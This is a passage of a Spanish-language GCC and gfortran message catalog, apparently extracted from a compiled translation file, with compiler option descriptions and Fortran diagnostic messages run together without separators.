el procesador v850e1Compila la unidad de compilación completa a la vezCompila con el modo entero de 16-bitCompila con el modo entero de 32-bitEl argumento complejo de LOG en %L no puede ser ceroLa multiplicación y la división complejas siguen las reglas FortranEl componente %s del tipo SEQUENCE declarado en %L no tiene el atributo SEQUENCEEl componente '%s' en %C ya se había declarado en %LEl componente '%s' en %C ya estaba en el tipo padre en %LEl componente '%s' en %C es un componente PRIVATE de '%s'El componente '%s' en %L no puede tener el atributo ALLOCATABLE porque es un miembro del tipo derivado BIND(C) '%s' en %LEl componente '%s' en %L no puede tener el atributo POINTER porque es un miembro del tipo derivado BIND(C) '%s' en %LEl componente '%s' en el tipo derivado '%s' en %L tal vez no es interoperable con CEl componente '%s' en el tipo derivado '%s' en %L tal vez no es interoperable con C, aún cuando el tipo derivado '%s' es BIND(C)¡El componente '%s' se inicializa dos veces en el constructor de estructura en %C!El componente '%s' de '%s' en %L tiene el mismo nombre que un procedimiento enlazado a tipo heredadoEl componente '%s' de '%s' en %L debe tener límites de matriz constantesEl componente en %C debe tener el atributo POINTER¡Inicializador de componente sin nombre después del componente nombrado %s en %C!El componente a la derecha de una referencia de parte con rango que no es cero no debe tener el atributo ALLOCATABLE en %LEl componente a la derecha de una referencia de parte con rango que no es cero no debe tener el atributo POINTER en %LLos componentes en TYPE en %C deben preceder a CONTAINSLos componentes del constructor de estructura '%s' en %L son PRIVATEEl operador de concatenación en %L debe concatenar cadenas del mismo géneroEl operador de concatenación en la expresión en %L debe tener dos operandos CHARACTERConfigurado con: %s
Conflicto en los atributos de los argumentos de la función en %CConforma más cerca a la semántica XLC de IBMConforma a nada en particularConforma al estándar ISO 1990 CConforma al estándar ISO 1990 C como se enmendó en 1994Conforma al estándar ISO 1990 C con extensiones GNUConforma al estándar ISO 1998 C++Conforma al estándar ISO 1998 C++ con extensiones GNUConforma al estándar ISO 1998 C++, con extensiones GNU yConforma al estándar ISO 1998 C++, con extensiones que son afinesConforma al estándar ISO 1999 CConforma al estándar ISO 1999 C con extensiones GNUConforma al estándar ISO Fortran 2003Conforma al estándar ISO Fortran 2008Conforma al estándar ISO Fortran 95Información de depuración reducida conservativa para structsConsidera lento el acceso a memoria de tamaño byteConsidera que el tipo 'int' es de 16 bits de anchuraConsidera que el tipo 'int' es de 32 bits de anchuraLa expresión constante en la etiqueta FORMAT en %L debe ser del tipo por defecto CHARACTERSe requiere una expresión constante en %Cel atributo ConstantValue del campo '%s' tiene un tipo erróneoConstruye redes y divide usos no relacionados de una sola variableLa función contenida '%s' en %L no es de tipo IMPLICITEl procedimiento contenido '%s' en %C ya es ambiguoEl procedimiento contenido '%s' en %L de un procedimiento PURE también debe ser PUREControla el modo de captura IEEEControla el modo de redondeo generado de fpControla la precisión dada a las excepciones de fpConversión de %s a %s en %LConversión de un Infinity o No-un-Numero en %L a INTEGERConvierte todas las constantes de cadenas y carácter al conjunto de caracteres <cset>Convierte todas las cadenas anchas y constantes de cáracter al conjunto de caracteres <cset>Convierte las constantes de coma flotante a constantes de precisión simpleCopia las secciones de matriz en un bloque contiguo en la entrada de procedimientoSe corrige el valor de perfil inconsistente: %s la cuenta general del perfilador (%d) no coincide con la cuenta BB (%d)Costo de asumir una ramificación de insnCosto de asumir una instrucción multiplyCosto de asumir la instrucción gettrCuenta las dependencias especulativas mientras se calcula la prioridad de las instruccionesEl Apuntado Cray en %C no puede ser una matriz de forma asumidaEl Apuntado Cray en %L aparece en varias declaraciones pointer()El apuntado Cray '%s' en la cláusula %s en %LEl apuntado Cray '%s' en la cláusula SHARED en %LEl puntero Cray '%s' en la cláusula %s en %LEl puntero Cray en %C tiene %d bytes de precisión; las direcciones de memoria requieren %d bytesEl puntero Cray en %C debe ser un enteroLa declaración de punteros Cray en %C requiere la opción -fcray-pointerCrea una aplicación con interfaz gráfica de usuario (GUI)Genera un ejecutable independiente de posiciónCrea una biblioteca compartidaCrea variables de inducción canónica en los ciclosCrea una aplicación de consolaCrea ficheros de datos necesarios para "gcov"Se crea una matriz temporal en %LSe crea una matriz temporal en %L para el argumento '%s'La matriz DATA '%s' en %L se debe especificar en una declaración previaNo se permite la declaración DATA en %C en un procedimiento PURELa declaración DATA en %L tiene más valores que variablesLa declaración DATA en %L tiene más variables que valoresDEFERRED aún no se admite en %CEl argumento DIM en %L está fuera de los límitesSe especificó DIMENSION para '%s' fuera de su cuerpo INTERFACE en %LEl iterador-DO '%s' en %L está dentro de un iterador del mismo nombreDOUBLE COMPLEX en %C no conforma con el estándar Fortran 95DW_LOC_OP %s no está implementadoElemento de datos arriba del límite superior en %LElemeto de datos debajo del límite inferior de la matriz en %LLos datos más grandes que el límite dado irán a la sección .ldata en el modeolo medium del x86-64El elemento de transferencia de datos en %L no puede ser una referencia completa a una matriz de tamaño asumidoEl elemento de transferencia de datos en %L no puede tener componentes ALLOCATABLEEl elemento de transferencia de datos en %L no puede tener componentes POINTEREl elemento de transferencia de datos en %L no puede tener componentes PRIVATESTMT muerto en la tabla EHHistograma muertoCambiando a pila por defecto para la creación del registro %s
Posterga la extracción de argumentos de funciones de la pila hasta más tardeNo se permite la matriz diferida '%s' en %L en una expresión de inicializaciónLa matriz de forma diferida '%s' en %L no puede ser un argumento para el procedimiento '%s' porque el procedimiento es BIND(C)La matriz de forma diferida '%s' en %L no puede ser un argumento para el procedimiento '%s' porque no es interoperable con CDefine una <macro> con <val> como su valor.  Si sólo se da la <macro>, <val> se toma como 1Borra las revisiones de punteros nulos sin usoCaracterística eliminada: %s en %L debe ser enteroCaracterística eliminada: declaración ASSIGN en %CCaracterística eliminada: Variable ASSIGNED en la etiqueta FORMAT en %LCaracterística eliminada: declaración GOTO asignada en %CCaracterística eliminada: GOTO en %L salta al END de la construcción en %LCaracterística eliminada: declaración PAUSE en %CObsoleto en favor de -std=c99Obsoleto en favor de -std=gnu99Obsoleto en favor de -std=iso9899:1999Opción obsoleta. Use en su lugar -misel/-mno-iselOpción obsoleta. Use en su lugar -mspe/-mno-speOpción obsoleta. Use en su lugar -mvrsave/-mno-vrsaveObsoleto.  Esta opción no tiene efectoObsoleto. Utilice en su lugar -OsObsoleto; use en su lugar --classpathEl tipo derivado '%s' en %C se está usando antes de ser definidoEl tipo derivado '%s' en %L no se puede declarar con atributos PRIVATE y BIND(C) al mismo tiempoEl tipo derivado '%s' en %L no puede tener el atributo SEQUENCE porque es BIND(C)El tipo derivado '%s' en %L tiene componentes PRIVATEEl tipo derivado '%s' en %L está vacíoEl tipo derivado '%s' declarado en %L debe tener el atributo BIND para ser interoperable con CEl tipo derivado en %C sólo puede ser PRIVATE en la parte de especificación de un móduloEl tipo derivado en %C sólo puede ser PUBLIC en la parte de especificación de un móduloEl tipo derivado en %C no se definió previamente y no puede aparecer en una definición de tipo derivadoEl componente de tipo derivado %C no es un miembro EQUIVALENCE permitidoLa declaración de tipo derivado con FINAL en %C debe estar en la parte de especificación de un MODULELa definición del tipo derivado de '%s' en %C ya se había definidoEl nombre de tipo derivado '%s' en %C ya tiene un tipo básico de %sLa variable de tipo derivado '%s' en %L no puede tener componentes ALLOCATABLE que sean un objeto EQUIVALENCELa variable de tipo derivado '%s' en %L debe tener el atributo SEQUENCE para ser un objeto EQUIVALENCELa variable de tipo derivado '%s' en %L con inicializadores por defecto no puede ser un objeto EQUIVALENCE con una variable en COMMONLa variable de tipo derivado '%s' en %L con componente(s) de puntero no puede ser un objeto EQUIVALENCELa variable de tipo derivado '%s' en COMMON en %L tiene un componente ultimate que es allocatableLa variable de tipo derivado '%s' en COMMON en %L no tiene el atributo SEQUENCE ni el atributo BIND(C)La variable de tipo derivado '%s' en COMMON en %L tal vez no tiene inicializador por defectoEl tipo derivado '%s' con BIND(C) no debe tener una sección CONTAINS en %CEl tipo derivado '%s' con SEQUENCE no debe tener una sección CONTAINS en %CInformación de depuración reducida detallada para structsDetermina cuáles dependencias entre insns se consideran costosasLongitudes de CHARACTER diferentes (%d/%d) en el constructor de matriz en %LParámetros de tipo de género diferentes en la asignación de puntero en %LRangos diferentes en la asignación de puntero en %LForma diferente para %s en %L en la dimensión %d (%d y %d)Formas diferentes para los argumentos '%s' y '%s' en %L para el intrínseco 'dot_product'Formas diferentes en la dimensión %d para los argumentos MASK y FIELD de UNPACK en %LFormas diferentes en la dimensión %d para los argumentos SHIFT y BOUNDARY de EOSHIFT en %LFormas diferentes en la dimensión 1 para los argumentos '%s' y '%s' en %L para el intrínseco matmulFormas diferentes en la dimensión 2 para el argumento '%s' y en la dimensión 1 para el argumento '%s' en %L para el intrínseco matmulTipos diferentes en la asignación de puntero en %L; se intentó la asignación de %s a %sSe especificarion dimensiones para %s en %L después de su inicializaciónDesactiva los registros FPDesactiva la instrucción bcnzDesactiva las optimizaciones de coma flotante que ignoran el signo de IEEE para ceroDesactiva la coma flotante de hardwareDesactiva el direccionamiento indizadoDesactiva las optimizaciones observables con IEEE señalando NaNsDesactiva las optimizaciones que asumen la conducta de un FP que redondea por defectoDesactiva el preprocesamientoDesactiva los registros de espacioDesactiva las llamdas directas a funciones globalesDesactiva más de `msched-max-memory-insns' en el grupo de instrucción.  De otra forma, el límite es `soft' (se prefieren operaciones que no sean de memoria cuando se alcanza el límite)Descarta funciones virtual sin usarDescubre funciones pure y constDescubre variables estáticas de sólo lectura y no direccionablesMuestra estadísticas de tiempo de compilaciónMuestra el contenido de un fichero clase en una forma legible.

Muestra las descripciones para una clase específica de opciones.  <clase> es uno o más de optimizers, target, warnings, undocumented, paramsMuestra las estadísticas acumuladas durante la compilaciónMuestra el árbol del código después de la decodificaciónMuestra la versión del compiladorMuestra esta informaciónDistancia entre topes de tabulador para reportes en columnasDivisión por cero en %LDivisión por cero al convertir %s a %s en %LEstrategia de división, uno de: call, call2, fp, inv, inv:minlat, inv20u, inv20l, inv:call, inv:call2, inv:fp, call-div1, call-fp, call-tableNo asume GASNo asume un segmento TLS grandeNo asume que existen las bibliotecas C estándar y "main"No desactiva los registros de espacioNo descarta comentariosNo descarta comentarios en expansiones de macroNo muestra las funciones compiladas o el tiempo transcurridoNo emite modos de direccionamiento con asignaciones colateralesNo emite constantes enteras complejas a memoria de sólo lecturaNo emite el prólogo o epílogo de funcionesNo genera directivas #lineNo genera directivas .sizeNo genera un sólo punto de salida para cada funciónNo genera instrucciones multiply/add de corto circuitoNo genera load/store con instrucciones de actualizaciónNo genera insns de salto de tablaNo genera código seguro en hilos para inicializar statics localesNo incluye en línea la división enteraNo incluye en línea la raíz cuadradaNo carga el registro PIC en los prólogos de funciónNo marca las opciones ABI en e_flagsNo realizar optimizaciones que incrementan notablemente el uso de la pilaNo coloca las constantes de coma flotante en TOCNo coloca las constantes símbolo+desplazamiento en TOCNo predefine las macros específicas del sistema y específicas de GCCNo pretende que las ramificaciones son costosasNo provee una dirección de inicio por defecto 0x100 del programaNo pone globales sin inicializar en la sección comúnNo busca directorios de inclusión del sistema por defecto (aquellos especificados con -isystem aún serán utilizados)No busca directorios de inclusión del sistema por defecto para C++No serializar las referencias a memoria volátil con instrucciones MEMWno se pueden especificar -march=... y -mcpu=... al mismo tiempoNo admite funciones internas y generación de código SSE4.1 y SSE4.2No suprime la información de depuración de clases C++.No suprime los avisos de los encabezados del sistemaNo trata las variables locales y los bloques COMMON como si fueran nombrados en declaraciones SAVENo ajusta la alineación del código y de datos de sólo lecturaNo ajusta la alineación de la pilaNo ajusta la alineación de los datos modificablesNo usa instrucciones MDMXNo usa instrucciones MIPS-3DNo usa el conjunto de instrucciones POWERNo usa el conjunto de instrucciones PowerPCNo usa fp de VAXNo usa una función que vacíe el caché antes de llamar los trampolines de pilaNo usa direcciones que reserven registros globalesNo usa códigos de condición para las instrucciones normalesNo usa el modo de direccionamiento directo para los registros suavesNo usa FP de hardwareNo usa coma flotante de hardwareNo usa fp de hardwareNo usa instrucciones de fp quad de hardwareNo usa patrones incluídos en línea para copiado de memoriaNo usa push para guardar los argumentos de funciónNo usa las instrucciones de campos de bitNo usa la instrucción calltNo permite las referencias a memoria sin alinearNo avisa sobre el uso de "long long" cuando se use -pedanticNo avisa sobre el uso de macros variadic cuando se use -pedanticHace coalescencia optimista.Revisa la pila usando límites en la memoria de scratch L1Hace el paso completo de optimización de movimiento de registrosNo hace nada.  Preservado por compatibilidad hacia atrás.No alínea los elementos en el código o los datosNo aloja floats y doubles en registros de precisión extendidaNo llama a ninguna función de limpieza de cachéNo llama a ninguna trampa de limpieza de cachéNo genera revisiones para el control de especulación en la calendarización selectivaNo genera sólo código de modo privilegiado; implica -mno-inline-ic_invalidate si el código a incluir en línea no funciona en modo usuario.No optimiza los movimientos de bloquesNo usa Mnemónicos-P para ramificacionesNo avisa sobre los usos de extensiones MicrosoftUnidad de coma flotante de precisión dobleDegrada los errores de concordancia a avisosConduciendo:El dummy '%s' en %L no puede tener un inicializadorEl argumento dummy '%s' en %L no puede ser INTENT(OUT)El argumento dummy '%s' en %L no puede ser OPTIONALEl argumento dummy '%s' en %L se declaró INTENT(OUT) pero no se establecióNo se permite el argumento dummy '%s' en la expresión en %LEl argumento dummy '%s' de '%s' en %L se debe llamar '%s' para que coincida con el argumento correspondiente al procedimiento sobreescritoEl procedimiento dummy '%s' en %C no puede tener una interfaz genéricaNo se permite el procedimiento dummy '%s' en el procedimiento elemental '%s' en %LEl procedimiento de prueba '%s' del procedimiento PURE en %L también debe ser PUREEl procedimiento dummy en %C no puede tener atributo BIND(C) con NAMENo se permite el procedimiento de prueba en %L en un procedimiento ELEMENTALVuelca un fichero core cuando sucede un error en tiempo de ejecuciónVuelca las declaraciones a un fichero .declVuelca varios internos del compilador a un ficheroAtributo %s duplicado en %LSe especificó un atributo %s duplicado en %LEspecifición de etiqueta %s duplicada en %CEspecificación %s duplicada en %CSe especificó un atributo BIND duplicado en %LDeclaraciones ELSE duplicadas en %L y %CSe especificó un atributo EXTENDS duplicado en %LDeclaración IMPLICIT NONE duplicada en %CEspecificación NML duplicada en %CNON_OVERRIDABLE duplicado en %CDeclaración PRIVATE duplicada en %CSe especificó un atributo PROTECTED duplicado en %LSe especificó un atributo SAVE duplicado en %LDeclaración SEQUENCE duplicada en %CEspecificación UNIT duplicada en %CSe especificó un atributo VALUE duplicado en %LSe especificó un atributo VOLATILE duplicado en %LEspecificador de acceso duplicado en %CEspecificación de matriz duplicada para el apuntado Cray en %CEtiqueta construct '%s' duplicada en %CEspecificación de formato duplicada en %CDeclaración de etiqueta %d duplicada en %L y %LSímbolo '%s' duplicado en la lista de argumentos formales en %CAsigna dinámicamente los registros ccNo se permite el especificador E con el descriptor g0no se admiten E500 y FPRsel borde EH %i->%i tiene regiones duplicadasfalta el borde EH %i->%ifalta la bandera EH para el borde EH %i->%iLa función ELEMENTAL '%s' en %L debe tener un resultado escalarEl procedimiento ELEMENTAL que no es INTRINSIC '%s' no se permite como un argumento actual en %LLa declaración ELSE IF en %C no puede ir después de una declaración ELSE en %LDeclaración ELSEWHERE en %C después de un ELSEWHERE desenmascarado previoLa declaración ELSEWHERE en %C no está dentro de un bloque WHERENo se permite la etiqueta END en %C en la declaración de salidaLa etiqueta END %d en %L no está definidaENTRY '%s' en %L no se puede llamar recursivamente, porque la función '%s' no es RECURSIVEENTRY '%s' en %L no se puede llamar recursivamente, porque la subrutina '%s' no es RECURSIVEENTRY '%s' en %L no tiene tipo IMPLICITEl resultado de ENTRY %s no puede ser un POINTER en FUNCTION %s en %LEl resultado de ENTRY %s no puede ser una matriz en FUNCTION %s en %LEl resultado de ENTRY %s no puede ser de tipo %s en FUNCTION %s en %LLa declaración ENTRY en %C no puede aparecer dentro de un procedimiento contenidoLa declaración ENTRY en %C no puede aparecer dentro de un BLOCK DATALa declaración ENTRY en %C no puede aparecer dentro de un bloque DERIVED TYPELa declaración ENTRY en %C no puede aparecer dentro de un bloque DOLa declaración ENTRY en %C no puede aparecer dentro de un bloque FORALLLa declaración ENTRY en %C no puede aparecer dentro de un MODULELa declaración ENTRY en %C no puede aparecer dentro de un PROGRAMLa declaración ENTRY en %C no puede aparecer dentro de un bloque SELECTLa declaración ENTRY en %C no puede aparecer dentro de un bloque WHERELa declaración ENTRY en %C no puede aparecer dentro de un subprograma contenidoLa declaración ENTRY en %C no puede aparecer dentro de un bloque IF-THENLa declaración ENTRY en %C no puede aparecer dentro de un INTERFACEENTRY_BLOCK tiene IL asociado con élLa declaración ENUM en %C no tiene ENUMERATORSSe esperaba una declaración de definición ENUM antes de %CENUMERATOR %L no se inicializó con una expresión enteraLa etiqueta EOR %d en %L no está definidaEl EQUIVALENCE en %C requiere dos o más objetosLa etiqueta ERR %d en %L no está definidaArquitectura ESA/390La declaración EXIT en %C termina el ciclo !$OMP DOEXIT_BLOCK tiene IL asociado con élTodos o ninguno de los objetos en el conjunto EQUIVALENCE en %L deben tener el atributo PROTECTEDEl elemento en el constructor de matriz %s en %L es %sUn elemento de la matriz de forma asumida se pasa al argumento dummy '%s' en %LElimina las extensiones de signo redundantes usando LCM.Espacio incrustado en el especificador NAME= en %CEmite reubicaciones de 16-bit a las áreas de datos smallEmite reubicaciones de 32-bit a las áreas de datos smallEmite código que cumpla con IEEE, sin excepciones inexactasEmite información de grafo de llamadasEmite el patrón cmpeqdi_t aún cuando -mcbranchdi y -mexpand-cbranchdi están en efecto.Emite código para la extensión ISA byte/wordEmite código para la extensión ISA de conteoEmite código para la extensión ISA de move y sqrt de fpEmite código para la extensión ISA de video en movimientoEmite código usando directivas explícitas de reubicaciónEmite símbolos comunes como símbolos débilesEmite información de referencia cruzadaEmite la información de declaraciones en el <fichero>Emite ramificaciones directas a funciones localesEmite errores cuando se generan las reubicaciones de tiempo de ejecuciónEmite código extra en el prólogo de la función para atrapar en caso de que el tamaño de la pila exceda el límite dadoEmite llamadas a función usando la tabla de desplazamiento global al generar PICEmite instanciaciones implícitas de plantillas incluídas en líneaEmite instanciaciones implícitas de plantillasEmite ramificaciones indirectas a funciones localesEmite secuencias load/store longEmite rdval en lugar de rduniq para un puntero threadEmite variables static const aún si no se usanEmite bits de parada antes y después de asms extendidos con volatileEmite información de depuración detallada en el código ensambladorEmite avisos cuando se generan las reubicaciones de tiempo de ejecuciónFINAL vacío en %CDeclaración IMPLICIT vacía en %CNo se permite un constructor de matriz vacío en %CConjunto vacío de dígitos en la constante BOZ en %CActiva las tablas CFI a través de directivas del ensamblador GAS.Activa la información de la línea de depuración Dwarf 2 a través de as de GNUActiva la Eliminación de Redundancia Completa en árbolesActiva el modo de Descriptor de Función PICActiva la transformación Graphite IdentityActiva la biblioteca compartida basada en IDActiva la transformación Loop BlockingActiva la transformación Loop InterchangeActiva la transformación Loop Strip MiningActiva la sintaxis de excepción y sincronización de Objective-CActiva el manejo de excepciones setjmp en tiempo de ejecución de Objective-CActiva OpenMP (implica -frecursive en Fortran)Activa el soporte PIC para construir bibliotecasPermite evitar cut2 en SH5Activa el hundimiento de código SSA en árbolesActiva la optimización de eliminación de código muerto SSA en árbolesActiva las optimizaciones SSA-CCP en árbolesActiva las optimizaciones SSA-PRE en árbolesActiva el código de rastreo TPF-OSActiva la alineación de bloques COMMONActiva todos los avisos -Wunused-Activa un paso de mirilla RTL antes de sched2Activa revisiones de asignabilidad para almacenamientos en matrices de objetosPermite la generación automática de instrucciones multiply-add de coma flotante de corto circuitoActiva la paralelización automática de ciclosActiva la instanciación automática de plantillasHabilita la depuración del extremo traseroActiva el código básico de análisis de perfil del programaActiva el patrón cbranchdi4Activa las opciones comunes para generar información de análisis de perfil para optimizaciones dirigidas por retroalimentación de perfilActiva las opciones comunes para generar información de análisis de perfil para optimizaciones dirigidas por retroalimentación de perfili, y establece -fprofile-dir=Activa las opciones comunes para realizar optimizaciones dirigidas por retroalimentación de perfilActiva las opciones comunes para realizar optimizaciones dirigidas por retroalimentación de perfil, y establece -fprofile-dir=Activa la eliminación de código muerto condicional para llamadas internasActiva la ejecución condicional en lugar de moves/sccActiva moves condicionalesActiva la propagación de copia de la información escalar-evolución.Activa la propagación de copia en árbolesActiva la corrección de datos de entrada de perfilado inconsistente de flujoActiva la eliminación de almacenamiento muertoActiva la salida de depuraciónActiva que la salida de depuración se genere.Admite la coma flotante decimal de hardwareActiva las optimizaciones dominadorasActiva los volcados de pasos específicos del compiladorActiva la ubicación temprana de bits de paro para mejor calendarizaciónActiva el manejo de excepcionesActiva el análisis de perfil de las funcionesActiva las instrucciones FP multiply/add y multiply/substract de corto circuitoActiva las instrucciones multiply/add de corto circuitoActiva la recolección de basura (GC) en programas Objective-C/Objective-C++Activa la predicción de probabilidades de ramificaciónActiva coma flotante de hardwareActiva in y out de la representación GraphiteActiva la inclusión en línea de PLT en las llamadas a funciónActiva las optimizaciones de alineación de etiquetasActiva las transformaciones lineales de ciclos en árbolesActiva las optimizaciones del enlazadorActiva la relajación del enlazadorActiva la relajación del enlazadorActiva la distribución de ciclos en árbolesActiva la copia de encabezado de ciclo en árbolesPermite el movimiento invariante de ciclo en árbolesActiva las optimizaciones de ciclo a nivel de árbolActiva la vectorización de ciclos en árbolesActiva las versiones de ciclo cuando se hace vectorización de ciclos en árbolesActiva las optimizaciones de mirilla específicas de la máquinaActiva casi todos los mensajes de avisoActiva el soporte multinúcleoActiva las optimizaciones de ejecución condicional anidadaActiva la optimización del código de inicialización de las clases staticActiva la optimización &&/|| en la ejecución condicionalActiva los diagnósticos opcionalesHabilita el preprocesamientoPermite la revisión de rango durante la compilaciónActiva la reasociación a nivel de árbolActiva la calendarización entre bloques básicosActiva los segmentos de datos separadosPermite establecer los GPRs al resultado de las comparacionesHabilita la prueba de la pilaPermite la revisión de devolución de struct psABI de 32 bits estricta.Activa el soporte para objetos enormesActiva el modelo normalActiva el uso de la operación multiply-accumulate de coma flotante de corto circuitoPermite el uso del modo de direccionamiento indizado para SHmedia32/SHcompactActiva el uso de las instrucciones short loadHabilita el preprocesamiento tradicionalActiva la instrucción load/store sin alineaciónActiva el uso de GPREL para datos de sólo lectura en FDPICActiva el uso del modelo costo en la vectorizaciónActiva el uso de sdata/scommon/sbssActiva la salida detalladaActiva/Desactiva la calendarización tradicional en ciclos que ya pasaron la calendarización móduloActiva la biblioteca compartida basada en IDPermite una optimización de movimiento de registrosCodifica las instrucciones SSE con el prefijo VEXEl final de la declaración DO que no es bloque en %C está entrelazado con otro ciclo DOEl final de la declaración DO que no es bloque en %C está dentro de otro bloqueFin de la lista de búsqueda.
Cumple las semánticas de control de acceso de miembros de claseRefuerza la alineación estrictaLa entidad '%s' en %C ya está presente en la interfazLa entidad con longitud de carácter asumida en %L debe ser un argumento de prueba o un PARAMETEREl enumerador excede el tipo entero de C en %CLa equivalencia para '%s' no coincide con el orden del COMMON '%s' en %LError al convertir la constante PARAMETER en una constante compleja en %CError al convertir el enteroError al alcanzar el límite de cuenta de %d.Error en el parámetro ORDER de RESHAPE en %LError al escribir al fichero de módulo '%s' para escritura: %sError al escribir el fichero de módulos: %sError:La cuenta de ejecución es negativaNo se grabó la salida %d->%dLa condición de salida del ciclo DO WHILE en %L debe ser una expresión LOGICAL escalarTermina cuando sucede el primer errorExpande el patrón cbranchdi4 temprano en comparaciones y ramificaciones separadas.Se esperaba ")" en %CSe esperaba "," en %CSe esperaba "," o el final de la declaración en %CSe esperaba '(' en %CSe esperaba ',' en %CSe esperaba '::' después de los atributos de enlace en %CSe esperaba '::' en %CSe esperaba 'END INTERFACE ASSIGNMENT (=)' en %CSe esperaba :: en la definición TYPE en %CSe esperaba un signo = en la declaración PARAMETER en %CSe esperaba un descriptor de edición PSe esperaba un símbolo PARAMETER en la constante compleja en %CSe esperaba una declaración CASE o END SELECT después de un SELECT CASE en %CFalta un procedimiento PURE para el argumento '%s' en %LSe esperaba una interfaz sin nombre en %CFalta un procedimiento para el argumento '%s' en %LSe esperaba un puntero procedimiento para el argumento '%s' en %LSe esperaba un paréntesis derecho en la expresión en %CSe esperaba un valor de paso en el iterador en %CSe esperaba un especificador de acceso en %CSe esperaba la etiqueta de devolución alterna en %CSe esperaba una expresión de inicialización en %CSe esperaba otra dimensión en la declaración de matriz %CSe esperaba una lista de argumentos en %CSe esperaba un subíndice de matriz en %CSe esperaba un gran tranco de subíndice de matriz en %CSe esperaba un nombre de atributo de bitSe esperaba un atributo de enlace en %CSe esperaba un nombre de enlace en %CSe esperaba un objetivo de enlace después de '=>' en %CSe esperaba el nombre de bloque de '%s' en la declaración %s en %CSe esperaba una especificación de límites para '%s' en %LSe esperaba el nombre de case de '%s' en %CSe esperaba una coma en la lista E/S en %CSe esperaba una referencia de componente en %CSe esperaba un exponente en la expresión en %CSe esperaba una expresión en %C en la declaración PARAMETERSe esperaba una expresión en la declaración %s en %CSe esperaba una expresión en la especificación de matriz en %CSe esperaba un tipo de expresiónSe esperaba una lista de argumentos formales en la definición de la función en %CSe esperaba un nombre genérico en %CSe esperaba una expresión de inicialización en %CSe esperaba la inicialización de la expresión en CASE en %CSe esperaba un enteroSe esperaba una cadena enteraSe esperaba la etiqueta '%s' para la declaración %s en %CSe esperaba un paréntesis izquierdoSe esperaba un nombre de procedimiento de módulo en %CSe esperaba un nombreSe esperaba una cadena realSe esperaba un paréntesis derechoSe esperaba una expresión de inicialización escalar en %CSe esperaba un nombre de enlace específico en %CSe esperaba una cadenaSe esperaba un nombre de componente de estructura en %CSe esperaba un nombre terminal en %CSe esperaba el nombre de la construcción SELECT CASE en %CSe esperaba una referencia a procedimiento enlazado a tipo en %CSe esperaba una variable en la declaración READ en %Cse esperaba un nombre variable en %CSe esperaba un nombre de variable en %C en la declaración PARAMETEREsperando la declaración %s en %CSe esperaba 'END INTERFACE %s' en %CSe esperaba 'END INTERFACE OPERATOR (%s)' en %CSe esperaba 'END INTERFACE OPERATOR (.%s.)' en %CSe espera la lista de entidades nombradas %CExporta funciones aún si pueden incluir en líneaLa expresión en %L debe ser de tipo INTEGER, se encontró %sLa expresión en %L debe ser escalarLa expresión en la declaración ALLOCATE en %L debe ser ALLOCATABLE o un POINTERLa expresión en la declaración CASE en %L debe ser de género %dLa expresión en la declaración CASE en %L debe ser de tipo %sLa expresión en la declaración CASE en %L debe ser escalarLa expresión en la declaración DEALLOCATE en %L debe ser ALLOCATABLE o un POINTERExtensión: Descriptor $ en %CExtensión: el especificador %s en la declaración %s en %C tiene el valor '%s'Extensión: La constante BOZ en %C usa sintaxis postfija que no es estándar.Extensión: la literal BOZ en %L está fuera de una declaración DATA y fuera de INT/REAL/DBLE/CMPLXExtensión: se usa la literal BOZ en %L para inicializar la variable '%s' que no es enteraExtensión: tipo BYTE en %CExtensión: etiqueta CONVERT en %LExtensión: Matriz de caracteres en la etiqueta FORMAT en %LExtensión: Una coma antes de una lista de elementos de e/s en %LExtensión: Conversión de %s a %s en %LExtensión: Diferentes tipos de géneros en %LExtensión: Evaluación de una expresión de inicialización no estándar en %LExtensión: La función %s en %L con entradas que devuelven variables de longitudes de cadena diferentesExtensión: La constante hexadecimal en %C usa sintaxis que no es estándar.Extensión: Constante Hollerith en %CExtensión: Falta una coma en %CExtensión: Falta una anchura positiva después del descriptor L en %CExtensión: Elemento que no es carácter en la etiqueta FORMAT en %LExtensión: Inicialización de estilo antiguo en %CExtensión: índice de matriz REAL en %LExtensión: declaración RETURN en el programa principal en %CExtensión: Se usa el símbolo '%s' antes de escribirse en %LExtensión: Carácter tabulador en el formato en %CExtensión: Operador unario después de un operador aritmético (usar paréntesis) en %CExtensión: El descriptor X requiere una cuenta de espacios iniciales en %CExtensión: lista de argumentos de función en %CExtensión: carácter barra invertida en %CExtensión: inicialización de la variable de bloque común '%s' en la declaración DATA en %CExtensión: reinicialización de '%s' en %LEl external '%s' en %L no puede tener un inicializadorUn IO UNIT externo no puede ser una matriz en %LEl objeto external '%s' en %L puede no tener un inicializadorCaracterística F2003: aún no se admite el especificador ROUND= en %CEl argumento FIELD en %L de UNPACK debe tener el mismo rango que MASK o ser un escalarLa declaración FINAL en %C debe estar dentro de CONTAINSLa declaración FINAL en %C debe estar dentro de una sección de tipo derivado CONTAINSEl procedimiento FINAL '%s' en %L no debe ser una SUBROUTINEEl procedimiento FINAL '%s' declarado en %L tiene el mismo rango (%d) que '%s'El procedimiento FINAL en %L debe tener exactamente un argumentoLa expresión de fin FORALL en %L debe ser un INTEGER escalarEl índice FORALL '%s' no puede aparecer en la especificación triplet en %LEl nombre de índice FORALL en %L debe ser un INTEGER escalarLa cláusula de máscara FORALL en %L requiere una expresión LOGICALLa expresión de inicio FORALL en %L debe ser un INTEGER escalarLa expresión de tranco FORALL en %L no puede ser ceroLa expresión de tranco FORALL en %L debe ser un %s escalarLa etiqueta FORMAT %d en %L no está definidaLa declaración FORMAT en %L no tiene una etiqueta de declaraciónLa etiqueta FORMAT en %L debe ser de tipo CHARACTER o INTEGERLas excepciones FP están activadasFUNCTION en %C no está dentro de una interfaz de función genéricaEl resultado de FUNCTION %s no puede ser un POINTER en FUNCTION %s en %LEl resultado de FUNCTION %s no puede ser una matriz en FUNCTION %s en %LEl resultado de FUNCTION %s no puede ser de tipo %s en FUNCTION %s en %LFalla al tratar de recargar:Error Fatal:El fichero '%s' abierto en %C no es un fichero de módulo GFORTRANAún no se admite la finalización en %LEl primer argumento de la asignación definida en %L debe ser INTENT(OUT) o INTENT(INOUT)El primer argumento de la interfaz de operador en %L no puede ser opcionalEl primer argumento de la interfaz de operador en %L debe ser INTENT(IN)El primer o último argumentos del intrínseco !$OMP ATOMIC deben ser '%s' en %LLa longitud de línea fija debe ser al menos de siete.La opción -fmax-stack-var-size=%d sobreescribe -frecursive implicada por -fopenmpLa opción -fno-automatic sobreescribe -fmax-stack-var-size=%dLa opción -fno-automatic sobreescribe -frecursiveLa opción -fno-automatic sobreescribe -frecursive implicada por -fopenmpLa opción -frecursive sobreescribe -fmax-stack-var-size=%dLa unidad de coma flotante no admite divide & 